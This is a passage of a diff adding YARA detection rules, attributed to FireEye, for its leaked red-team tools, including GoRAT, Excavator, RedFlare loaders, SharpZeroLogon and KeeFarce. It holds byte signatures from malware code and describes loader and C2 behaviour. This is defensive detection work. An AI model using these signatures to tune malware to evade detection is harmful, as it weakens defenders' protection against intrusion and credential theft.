+        author = "FireEye"
+        id = "94c195b5-b8e8-56a7-bc11-dbbe2f969b06"
+    strings:
+        $dirty1 = "fireeye" ascii nocase wide
+        $dirty2 = "kulinacs" ascii nocase wide
+        $dirty3 = "RedFlare" ascii nocase wide
+        $dirty4 = "gorat" ascii nocase wide
+        $dirty5 = "flare" ascii nocase wide
+        $go1 = "go.buildid" ascii wide
+        $go2 = "Go build ID:" ascii wide
+        $json1 = "json:\"pid\"" ascii wide
+        $json2 = "json:\"key\"" ascii wide
+        $json3 = "json:\"agent_time\"" ascii wide
+        $json4 = "json:\"rid\"" ascii wide
+        $json5 = "json:\"ports\"" ascii wide
+        $json6 = "json:\"agent_platform\"" ascii wide
+        $rat = "rat" ascii wide
+        $str1 = "handleCommand" ascii wide
+        $str2 = "sendBeacon" ascii wide
+        $str3 = "rat.AgentVersion" ascii wide
+        $str4 = "rat.Core" ascii wide
+        $str5 = "rat/log" ascii wide
+        $str6 = "rat/comms" ascii wide
+        $str7 = "rat/modules" ascii wide
+        $str8 = "murica" ascii wide
+        $str9 = "master secret" ascii wide
+        $str10 = "TaskID" ascii wide
+        $str11 = "rat.New" ascii wide
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat > 1000 and any of ($dirty*)
+}
+rule CredTheft_Win_EXCAVATOR_1
+{
+    meta:
+        description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE."
+        md5 = "f7d9961463b5110a3d70ee2e97842ed3"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "7cabc230-e55b-5096-996a-b6a8c9693bdc"
+    strings:
+        $bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+        $bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+        $bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+        $bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 }
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and any of ($bytes*)
+}
+rule APT_Loader_Win64_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "f20824fa6e5c81e3804419f108445368"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "dc162f26-66d3-5359-b1d7-ef2208b359e2"
+    strings:
+        $alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 }
+        $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Loader_Raw64_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "5e14f77f85fd9a5be46e7f04b8a144f5"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2"
+    strings:
+        $load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF }
+    condition:
+        (uint16(0) != 0x5A4D) and all of them
+}
+rule HackTool_MSIL_SHARPZEROLOGON_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e"
+    strings:
+        $typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_CoreHound_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24"
+    strings:
+        $typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_NETAssemblyInject_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "62a7dc4c-678b-5f13-9661-4679eafe1c72"
+    strings:
+        $typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide
+        $typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide
+        $typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Hunting_GadgetToJScript_1
+{
+    meta:
+        description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling."
+        md5 = "7af24305a409a2b8f83ece27bb0f7900"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "76c932e0-55b3-56ef-bab6-eb6997b51ee7"
+    strings:
+        $s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl"
+        $s2 = "henlOZXRUb0pzY3JpcHRMb2Fk"
+        $s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV"
+    condition:
+        any of them
+}
+rule Trojan_MSIL_GORAT_Plugin_DOTNET_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932"
+    strings:
+        $typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide
+        $typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+/*
+rule APT_Trojan_Win_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "100d73b35f23b2fe84bf7cd37140bf4d,4e7e90c7147ee8aa01275894734f4492"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+    strings:
+        $1 = "initialize" fullword
+        $2 = "runCommand" fullword
+        $3 = "stop" fullword
+        $4 = "fini" fullword
+        $5 = "VirtualAllocEx" fullword
+        $6 = "WriteProcessMemory" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+*/
+rule APT_Dropper_Win64_MATRYOSHKA_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        description = "matryoshka_dropper.rs"
+        md5 = "edcd58ba5b1b87705e95089002312281"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1406aafd-6217-51ef-b3af-107ee88f9c99"
+    strings:
+        $sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 }
+        $sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPGOPHER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7"
+    strings:
+        $typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_KeeFarce_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c17add0c-e09f-5ced-a4e1-bf60afad4725"
+    strings:
+        $typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Backdoor_Win_GORAT_1
+{
+    meta:
+        description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)."
+        md5 = "66cdaa156e4d372cfa3dea0137850d20"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "5ac84cf1-49fb-533d-b211-b1a92239063b"
+    strings:
